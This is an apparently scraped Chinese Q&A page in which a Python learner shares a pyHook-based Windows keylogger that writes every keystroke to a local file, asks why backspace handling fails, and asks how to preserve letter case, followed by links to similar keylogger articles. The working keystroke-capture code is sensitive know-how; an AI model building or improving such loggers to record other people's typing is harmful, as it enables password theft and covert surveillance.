python keyboard backspace_键盘记录器在按backspace键时抛出错误(Python)
当我正在学习Python时,我偶然在youtube上看到了一个有趣的视频,展示了如何构建一个简单的Python键盘记录器。我决定稍微修改一下它,使它能够在用户按下backspace时删除最后一个字符,所以我添加了一个if语句和seek和truncate方法。在import pyHook, pythoncom, os
file_log = "D:/Python Projects/log.txt"
def OnKeyboardEvent(event):
global keylog
keylog = chr(event.Ascii)
with open(file_log, "a") as fl:
if event.Ascii == 13:
fl.write("\n")
elif event.Ascii == 8:
fl.seek(-1, os.SEEK_END)
fl.truncate()
else:
fl.write(keylog)
fl.close()
return True
hooking = pyHook.HookManager()
hooking.KeyDown = OnKeyboardEvent
hooking.HookKeyboard()
pythoncom.PumpMessages()
但是,当我尝试运行代码并按下backspace键时,我得到以下错误:
^{pr2}$
有人能帮我吗?
另外,现在键盘记录器将每个字符存储为大写字母。有没有一种方法可以修改脚本来识别字符是小写字母还是大写字母,并以这种方式存储它?在
python keyboard backspace_键盘记录器在按backspace键时抛出错误(Python)相关推荐
- Python实现一个键盘记录器功能
关于Python3--键盘记录 关于Python3--键盘记录 环境:windows 所需库: 函数划分 关于Python3--键盘记录 该方法仅为学习使用,切勿用于非法用途 用python做一个键盘 ...
- 删除web文本框中的内容需要或者文本框失去焦点,点击“Backspace”键时页面回退,屏蔽页面回退键的方法
问题:web文本框中的内容需要删除或者文本框失去焦点,点击"Backspace"键时,页面就回退了,下面是一种屏蔽页面回退键的方法. 原因:当文本输入框设置为只读时,按后退键默认都 ...
- java执行python提示import os找不到_java利用Jython调用python抛出错误ImportError: No module named odbchelper...
Python代码: import odbchelper def add(x, y): """ add method """ return x ...
- 当你的Python代码抛出错误,首先应该看这里!
点击关注我哦 欢迎关注 "小白玩转Python",发现更多 "有趣" 当你写了一段漂亮的代码,却发现到它并不像你预期的那样工作时,那得是多么的沮丧.这时候就需要 ...
- python 三种键盘记录器 based on pyhook,pynput,pygame
在python语言中使用键盘输入,其方式之多,令人发指.但是为什么我要写这篇文章呢?我乐意呀!哈哈哈.当然,同学发问了,老铁,你是闲出屁来了? 哼?怎么可能,我是闲的蛋疼... 咱先把泌尿外科的事放一 ...
- 编译 puppy linux,Puppy Linux import gtk在Python中抛出错误
我使用的是Linux版本2.6.24.16.我相信它使用的是Puppy linux4.2.我实际上在使用小狗游乐场,这是一个专门的分支.然而,他们的帮助文件暗示它是4.2.在 这个包声称有pygtk, ...
- python keyboard backspace_selenium键盘按键Keys类及键盘码详解
selenium可以操作鼠标,此外它的Keys()类提供了操作键盘的途径,因为键盘上几乎所有按键都可以用Keys()类实现. 之前我们一直用元素的send_keys()方法输入文字,其实该方法也可以输 ...
- python 实现的键盘记录器 小功能
目录 一.安装pynput模块 二.编写代码 1.引入键盘模块 2.读取键盘操作 3.设置停止记录触发事件 4.启动监听 三.完整代码 一.安装pynput模块 PS C:\WINDOWS\syste ...
- python keyboard hook_键盘监控的实现Ⅰ——Keyboard Hook API函数
在实际应用中,键盘监控是一种很常见的技术,它包括按键的记录.按键的过滤.按键的修改(映射)等.比方说,我们想统计用户的击键情况,这个就是按键的记录:我们想屏蔽某些系统键(例如Alt键.Win键),这个 ...
- python 查看PIL包下的 Image.py 模块时 import _builtin__显示 python version 3.6 does not have module __builtin__
在 Image.py 代码中它用了try_except,是为了避免python版本错误而设置的,__builtin__是python3内置的,__builtins__是python2内置的,所以这个报 ...
最新文章
- python如何安装panda数据库_python怎么安装pandas
- Android JNI 传递对象
- [转载]Android创世纪 - 第二天
- 中国云计算市场加速发展 今年有望突破3000亿
- Mule ESB-3.Build a webservice proxy
- vue 数组长度_深入理解Vue的数据响应式
- CodeForces - 1437G Death DBMS(AC自动机fail树上树链剖分建线段树/暴跳fail)
- Windows下自动备份Oracle数据库
- ✿ iBm T60 水货入手了 满意 2005
- 服务器删除东西直接找不到了,重新安装T1后,用了一天半,又出现演示版到期的问题了-重新删除T1PFLS服务后,怎么找不到服务器-esrv-Gh....exe文件?...
- 页式存储系统的逻辑地址是由页号和页内地址两部分组成的
- Google 2020 应用与游戏出海 6 月刊: 政策先行,护航应用远洋
- 上午卷-1.计算机组成与结构-软件设计师
- 国产本地互联网络(LIN)物理层收发器 TJA 1028T
- roboware安装包
- 贴片功率电感封装尺寸与性能
- 程序员的职级和薪酬体系
- 软件测试-------Web(性能测试 / 界面测试 / 兼容性测试 / 安全性测试)
- 江苏linux系统自考试卷,【历年真题】2020年8月江苏自考专科《操作系统概论》真题与答案...
- 面试流程及常见面试题